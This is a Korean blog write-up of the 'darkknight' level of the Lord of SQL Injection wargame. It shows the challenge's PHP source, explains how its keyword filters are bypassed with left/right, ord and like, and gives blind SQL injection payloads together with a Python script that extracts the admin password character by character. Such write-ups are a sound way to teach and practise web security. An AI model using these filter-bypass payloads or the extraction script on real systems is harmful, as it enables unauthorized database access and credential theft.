본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] darkknight 풀이

by yenua 2022. 6. 12.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

스타크래프트 암흑기사 - 블리자드

사실 스타크래프트 암흑기사는 다크템플러이다. 그나저나 암흑기사가 왜 몬스터지 다 좋은 쪽으로 밖에 없던데

 

los의 다크나이트를 처리해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

이번에는 pw 인자에는 따옴표를 쓰지 못하고, no 인자에는 따옴표와 substr, ascii, =를 쓰지 못한다.

이번에는 substr 라는 문자 자체를 필터링 하고 있어서 left, right로 대체해서 써야 할 것 같고, ascii는 ord로 우회할 수 있을 것이다. =는 like로 우회할 수 있고!

pw 인자는 넘기고 no에서 다 때려박으면 될 것 같은 느낌이 든다.

 

다크나이트는 아래와 같은 과정으로 처리가능했다.

1. 비밀번호 길이 찾기

no: 2||length(pw) like 8--+

url: ?no=2||length(pw)%20like%208--++

query : select id from prob_darkknight where id='guest' and pw='' and no=2||length(pw) like 8--

비밀번호의 길이는 또 8이다..!

2. 비밀번호 찾기

비밀번호를 한글자 씩 찾기 위해서는 아래처럼 입력하면 된다.

no: 2 or no like 2 and ord(left(right(pw,8), 1)) like 48

query: select id from prob_darkknight where id='guest' and pw='' and no=2 or no like 2 and ord(left(right(pw,8), 1)) like 48

&& 때문에 pw 값은 파이썬에서 직접 파라미터에 넣어주어야 && 뒷 부분이 다른 파라미터로 인식되어 날라가지 않는다. 파이썬 코드는 아래와 같다.

import requests
import time

URL="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"

params = {'pw':'',
          'no':''}

cookie={
    "PHPSESSID":"hfq78ei0h9rmlo9jl10lkb7kd3"
    }

password = ''
start = time.time()
for i in range(8):
    print(i, end=' ')
    for j in range(32, 127):
        params['no'] = "2 or no like 2 and ord(left(right(pw,{}), 1)) like {}".format(8-i, j)
        res = requests.get(URL, params=params, cookies=cookie)
        #print(i, j, res.text)
        if "Hello admin" in res.text:
            print("found!:{} : {}".format(i, chr(j)))
            print(res.text)
            password += chr(j)
            break

print(password)
end = time.time()
print(end - start)

left와 right를 섞어서 substr와 비슷하게 작동하도록 만들었다. 사실 써니나타스 문제풀이 때 써먹었던 방법이다.

 

+)알고보니 mid라는 substr과 똑같은 기능을 하는 함수가 있다고 한다.. 굳이 left, right 섞어 쓸 필요가 없었다!

 

pw는 0b70ea1f 이다.

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] giant 풀이  (0) 2022.06.12
[Los] bugbear 풀이  (0) 2022.06.12
[Los] golem 풀이  (0) 2022.06.12
[Los] skeleton 풀이  (0) 2022.06.12
[Los] vampire 풀이  (0) 2022.06.12